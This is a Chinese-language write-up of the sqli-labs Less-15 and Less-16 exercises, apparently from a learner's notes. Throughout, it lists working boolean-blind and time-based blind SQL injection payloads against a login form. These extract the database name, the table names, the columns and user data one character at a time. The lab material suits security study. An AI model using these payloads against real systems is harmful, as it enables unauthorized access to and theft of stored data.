零、前言
这两节课是盲注,Less-15是布尔盲注,Less-16是时间盲注。之前已在mysql命令行中练习过盲注的语句,这里直接到前端进行注入测试,不在去测试sql语句,有些之前的语句甚至可以直接拿过来用。这也是在告诉我们注入与数据传输方式无关,它是一种数据库的攻击手段。
一、Less-15测试
通过前端测试,没有返回错误信息,只能使用盲注,使用or 语句登陆
uname=1' or 1=1#&passwd=&submit=Submit
登录成功,说明后台Sql语句为
Select * from table where username=’username’ and password=’password’
接下来构造注入语句进行数据库攻击,每种攻击类型只以获取首字母为例
1、构造注入语句,猜测当前数据库库名
uname=1' or (select ascii(substr(database(),1,1)) > 100)#&passwd=&submit=Submit
返回正确
uname=1' or (select ascii(substr(database(),1,1)) > 110)#&passwd=&submit=Submit
返回正确
uname=1' or (select ascii(substr(database(),1,1)) > 120)#&passwd=&submit=Submit
返回错误,说明数据库名的第一个字符的ascii码范围是110<=ascii<120
uname=1' or (select ascii(substr(database(),1,1)) > 115)#&passwd=&submit=Submit
返回错误,说明数据库名的第一个字符的ascii码范围是110<=ascii<=115
uname=1' or (select ascii(substr(database(),1,1)) > 113)#&passwd=&submit=Submit
返回错误,说明数据库名的第一个字符的ascii码范围是113ascii<=115
uname=1' or (select ascii(substr(database(),1,1)) = 114)#&passwd=&submit=Submit
返回错误,说明数据库名的第一个字符的ascii码不是114
uname=1' or (select ascii(substr(database(),1,1)) = 115)#&passwd=&submit=Submit
返回正确,说明数据库名的第一个字符的ascii码是115,115对应的字母为’s’,与当前数据库的名匹配
2、构造注入语句,测测当前数据库的表名
uname=1' or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 100)#&passwd=&submit=Submit
返回正确
uname=1' or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 110)#&passwd=&submit=Submit
返回错误,说明当前数据库的第一个数据表的表名的第一个字符的ascii码的范围是
100<ascii<=110
uname=1' or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 105)#&passwd=&submit=Submit
返回错误,说明当前数据库的第一个数据表的表名的第一个字符的ascii码的范围是
100<ascii<=105
uname=1' or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 102)#&passwd=&submit=Submit
返回错误,说明当前数据库的第一个数据表的表名的第一个字符的ascii码的范围是
100<ascii<=102
uname=1' or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) = 102)#&passwd=&submit=Submit
返回错误,说明当前数据库的第一个数据表的表名的第一个字符的ascii码不是102
uname=1' or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) = 101)#&passwd=&submit=Submit
返回正确,说明当前数据库的第一个数据表的表名的第一个字符的ascii码为101
Ascii101对应的字符为’e’,和数据库中的第一个表名的第一个字符’e’相对应,说明判断正确,以此可以得出其他所有的表名
3、构造语句,得出数据库表中的数据
uname=1' or 1=1 order by 2#&passwd=&submit=Submit
返回正确,说明字段数为2(然而用不到)
uname=1' or (select ascii(substr((select username from users limit 0,1),1,1)) > 100)#&passwd=&submit=Submit
返回错误
uname=1' or (select ascii(substr((select username from users limit 0,1),1,1)) > 50)#&passwd=&submit=Submit
返回正确,说明users表中的第一个username的第一个字符的ascii码的范围是
50<ascii<=100
uname=1' or (select ascii(substr((select username from users limit 0,1),1,1)) > 75)#&passwd=&submit=Submit
返回错误,说明users表中的第一个username的第一个字符的ascii码的范围是
50<ascii<=75
uname=1' or (select ascii(substr((select username from users limit 0,1),1,1)) > 60)#&passwd=&submit=Submit
返回正确,说明users表中的第一个username的第一个字符的ascii码的范围是
60<ascii<=75
uname=1' or (select ascii(substr((select username from users limit 0,1),1,1)) > 68)#&passwd=&submit=Submit
返回错误,说明users表中的第一个username的第一个字符的ascii码的范围是
60<ascii<=68
uname=1' or (select ascii(substr((select username from users limit 0,1),1,1)) > 64)#&passwd=&submit=Submit
返回正确,说明users表中的第一个username的第一个字符的ascii码的范围是
64<ascii<=68
uname=1' or (select ascii(substr((select username from users limit 0,1),1,1)) > 67)#&passwd=&submit=Submit
返回正确,说明users表中的第一个username的第一个字符的ascii码是68
Ascii码68对应的字符为D,与第一个用户名Dump相对应,说明判断正确,依次可以得出其他数据
二、Less-16测试
sql语句测试
uname=123' or (sleep(1)=0)#&passwd=123&submit=Submit 直接返回登录失败界面
uname=123” or (sleep(1)=0)#&passwd=123&submit=Submit 直接返回登录失败界面
uname=123”) or (sleep(1)=0)#&passwd=123&submit=Submit 程序加载一秒后返回正确界面
猜测其Sql语句为:
Select * from table where username=(“inputuser”) and (“inputpass”)
我们把之前练习过得时间盲注语句直接拿过来测试,注入测试的时候发现程序挂起的秒数和sleep的参数并不一致,暂时不知道是什么原因,但不影响时间盲注,以下所有注入只举一例,其他只是测试不同ascii码。
构造注入语句,猜测当前数据库库名
uname=") or (select if(ascii(substr(database(),1,1)) > 100,sleep(1)=0,NULL)) #&passwd=admin&submit=Submit
构造注入语句,猜测当前数据库第一个表名
uname=123") or (select if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 100),sleep(1)=0,0)) #&passwd=admin&submit=Submit
构造注入语句,猜测users表第一个字段名
uname=123") or (select if((ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)) > 100),sleep(1)=0,0)) #&passwd=admin&submit=Submit
构造注入语句,猜测users表的数据
uname=123") or (select if((ascii(substr((select username from users limit 0,1),1,1)) > 50),sleep(1)=0,0)) #&passwd=admin&submit=Submit